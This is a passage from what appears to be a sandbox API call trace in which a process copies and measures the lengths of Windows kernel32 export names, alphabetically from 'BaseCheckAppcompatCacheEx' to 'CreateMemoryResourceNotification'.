lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0075.386] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0075.386] lstrcpyA (in: lpString1=0x321cec8, lpString2="BaseCheckRunApp" | out: lpString1="BaseCheckRunApp") returned="BaseCheckRunApp" [0075.386] lstrlenA (lpString="BASECHECKRUNAPP") returned 15 [0075.386] lstrcpyA (in: lpString1=0x321cec8, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0075.386] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0075.386] lstrcpyA (in: lpString1=0x321cec8, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0075.386] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0075.386] lstrcpyA (in: lpString1=0x321cec8, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0075.386] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0075.386] lstrcpyA (in: lpString1=0x321cec8, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0075.386] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0075.387] lstrcpyA (in: lpString1=0x321cec8, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0075.387] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0075.387] lstrcpyA (in: lpString1=0x321cec8, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0075.387] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0075.387] lstrcpyA (in: lpString1=0x321cec8, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0075.387] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0075.387] lstrcpyA (in: lpString1=0x321cec8, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0075.387] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0075.387] lstrcpyA (in: lpString1=0x321cec8, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0075.387] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0075.387] lstrcpyA (in: lpString1=0x321cec8, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0075.387] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0075.387] lstrcpyA (in: lpString1=0x321cec8, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0075.387] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0075.387] lstrcpyA (in: lpString1=0x321cec8, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0075.387] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0075.387] lstrcpyA (in: lpString1=0x321cec8, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0075.387] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0075.387] lstrcpyA (in: lpString1=0x321cec8, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0075.387] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0075.387] lstrcpyA (in: lpString1=0x321cec8, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0075.387] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0075.387] lstrcpyA (in: lpString1=0x321cec8, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0075.387] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0075.387] lstrcpyA (in: lpString1=0x321cec8, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0075.387] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0075.387] lstrcpyA (in: lpString1=0x321cec8, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0075.387] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0075.387] lstrcpyA (in: lpString1=0x321cec8, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0075.387] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0075.388] lstrcpyA (in: lpString1=0x321cec8, lpString2="BasepCheckBadapp" | out: lpString1="BasepCheckBadapp") returned="BasepCheckBadapp" [0075.388] lstrlenA (lpString="BASEPCHECKBADAPP") returned 16 [0075.388] lstrcpyA (in: lpString1=0x321cec8, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0075.388] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0075.388] lstrcpyA (in: lpString1=0x321cec8, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0075.388] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0075.388] lstrcpyA (in: lpString1=0x321cec8, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0075.388] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0075.388] lstrcpyA (in: lpString1=0x321cec8, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0075.388] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0075.388] lstrcpyA (in: lpString1=0x321cec8, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0075.388] lstrlenA (lpString="BEEP") returned 4 [0075.388] lstrcpyA (in: lpString1=0x321cec8, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0075.388] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0075.388] lstrcpyA (in: lpString1=0x321cec8, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0075.388] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0075.388] lstrcpyA (in: lpString1=0x321cec8, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0075.388] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0075.388] lstrcpyA (in: lpString1=0x321cec8, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0075.388] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0075.388] lstrcpyA (in: lpString1=0x321cec8, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0075.388] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0075.388] lstrcpyA (in: lpString1=0x321cec8, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0075.388] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0075.388] lstrcpyA (in: lpString1=0x321cec8, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0075.388] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0075.388] lstrcpyA (in: lpString1=0x321cec8, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0075.388] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0075.388] lstrcpyA (in: lpString1=0x321cec8, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0075.389] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0075.389] lstrcpyA (in: lpString1=0x321cec8, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0075.389] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0075.389] lstrcpyA (in: lpString1=0x321cec8, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0075.389] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0075.391] lstrcpyA (in: lpString1=0x321cec8, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0075.391] lstrlenA (lpString="CANCELIO") returned 8 [0075.391] lstrcpyA (in: lpString1=0x321cec8, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0075.391] lstrlenA (lpString="CANCELIOEX") returned 10 [0075.391] lstrcpyA (in: lpString1=0x321cec8, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0075.391] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0075.391] lstrcpyA (in: lpString1=0x321cec8, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0075.391] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0075.391] lstrcpyA (in: lpString1=0x321cec8, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0075.391] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0075.391] lstrcpyA (in: lpString1=0x321cec8, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0075.391] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0075.391] lstrcpyA (in: lpString1=0x321cec8, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0075.391] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0075.391] lstrcpyA (in: lpString1=0x321cec8, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0075.391] lstrlenA (lpString="CHECKELEVATION") returned 14 [0075.391] lstrcpyA (in: lpString1=0x321cec8, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0075.391] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0075.391] lstrcpyA (in: lpString1=0x321cec8, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0075.391] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0075.391] lstrcpyA (in: lpString1=0x321cec8, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0075.391] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0075.392] lstrcpyA (in: lpString1=0x321cec8, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0075.392] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0075.392] lstrcpyA (in: lpString1=0x321cec8, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0075.392] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0075.392] lstrcpyA (in: lpString1=0x321cec8, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0075.392] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0075.392] lstrcpyA (in: lpString1=0x321cec8, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0075.392] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0075.392] lstrcpyA (in: lpString1=0x321cec8, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0075.392] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0075.392] lstrcpyA (in: lpString1=0x321cec8, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0075.392] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0075.392] lstrcpyA (in: lpString1=0x321cec8, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0075.392] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0075.392] lstrcpyA (in: lpString1=0x321cec8, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0075.392] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0075.392] lstrcpyA (in: lpString1=0x321cec8, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0075.392] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0075.392] lstrcpyA (in: lpString1=0x321cec8, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0075.392] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0075.392] lstrcpyA (in: lpString1=0x321cec8, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0075.392] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0075.392] lstrcpyA (in: lpString1=0x321cec8, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0075.392] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0075.392] lstrcpyA (in: lpString1=0x321cec8, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0075.392] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0075.392] lstrcpyA (in: lpString1=0x321cec8, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0075.392] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0075.392] lstrcpyA (in: lpString1=0x321cec8, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0075.393] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0075.393] lstrcpyA (in: lpString1=0x321cec8, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0075.393] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0075.393] lstrcpyA (in: lpString1=0x321cec8, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0075.393] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0075.393] lstrcpyA (in: lpString1=0x321cec8, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0075.393] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0075.393] lstrcpyA (in: lpString1=0x321cec8, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0075.393] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0075.393] lstrcpyA (in: lpString1=0x321cec8, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0075.393] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0075.393] lstrcpyA (in: lpString1=0x321cec8, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0075.393] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0075.393] lstrcpyA (in: lpString1=0x321cec8, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0075.393] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0075.393] lstrcpyA (in: lpString1=0x321cec8, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0075.393] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0075.393] lstrcpyA (in: lpString1=0x321cec8, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0075.393] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0075.393] lstrcpyA (in: lpString1=0x321cec8, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0075.393] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0075.393] lstrcpyA (in: lpString1=0x321cec8, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0075.393] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0075.393] lstrcpyA (in: lpString1=0x321cec8, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0075.393] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0075.393] lstrcpyA (in: lpString1=0x321cec8, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0075.393] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0075.393] lstrcpyA (in: lpString1=0x321cec8, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0075.393] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0075.393] lstrcpyA (in: lpString1=0x321cec8, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0075.394] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0075.394] lstrcpyA (in: lpString1=0x321cec8, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0075.394] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0075.394] lstrcpyA (in: lpString1=0x321cec8, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0075.394] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0075.394] lstrcpyA (in: lpString1=0x321cec8, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0075.394] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0075.394] lstrcpyA (in: lpString1=0x321cec8, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0075.394] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0075.394] lstrcpyA (in: lpString1=0x321cec8, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0075.394] lstrlenA (lpString="COPYCONTEXT") returned 11 [0075.394] lstrcpyA (in: lpString1=0x321cec8, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0075.394] lstrlenA (lpString="COPYFILEA") returned 9 [0075.394] lstrcpyA (in: lpString1=0x321cec8, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0075.394] lstrlenA (lpString="COPYFILEEXA") returned 11 [0075.394] lstrcpyA (in: lpString1=0x321cec8, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0075.394] lstrlenA (lpString="COPYFILEEXW") returned 11 [0075.394] lstrcpyA (in: lpString1=0x321cec8, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0075.394] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0075.394] lstrcpyA (in: lpString1=0x321cec8, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0075.394] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0075.394] lstrcpyA (in: lpString1=0x321cec8, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0075.394] lstrlenA (lpString="COPYFILEW") returned 9 [0075.394] lstrcpyA (in: lpString1=0x321cec8, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0075.394] lstrlenA (lpString="COPYLZFILE") returned 10 [0075.394] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0075.394] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0075.394] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0075.394] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0075.394] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0075.395] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0075.395] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0075.395] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0075.395] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0075.395] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0075.395] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0075.395] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0075.395] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0075.395] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0075.395] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0075.395] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0075.395] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0075.395] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0075.395] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0075.395] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0075.395] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0075.395] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0075.395] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0075.395] lstrlenA (lpString="CREATEEVENTA") returned 12 [0075.395] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0075.395] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0075.395] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0075.395] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0075.395] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0075.395] lstrlenA (lpString="CREATEEVENTW") returned 12 [0075.395] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0075.395] lstrlenA (lpString="CREATEFIBER") returned 11 [0075.395] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0075.395] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0075.395] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0075.396] lstrlenA (lpString="CREATEFILEA") returned 11 [0075.396] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0075.396] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0075.396] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0075.396] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0075.396] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0075.396] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0075.396] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0075.396] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0075.396] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0075.396] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0075.396] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0075.396] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0075.396] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0075.396] lstrlenA (lpString="CREATEFILEW") returned 11 [0075.396] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0075.396] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0075.396] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0075.396] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0075.396] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0075.396] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0075.396] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0075.396] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0075.396] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0075.396] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0075.396] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0075.396] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0075.396] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0075.396] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0075.396] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0075.397] lstrlenA (lpString="CREATEJOBSET") returned 12 [0075.397] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0075.397] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0075.397] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0075.397] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0075.397] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0075.397] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0075.397] lstrcpyA 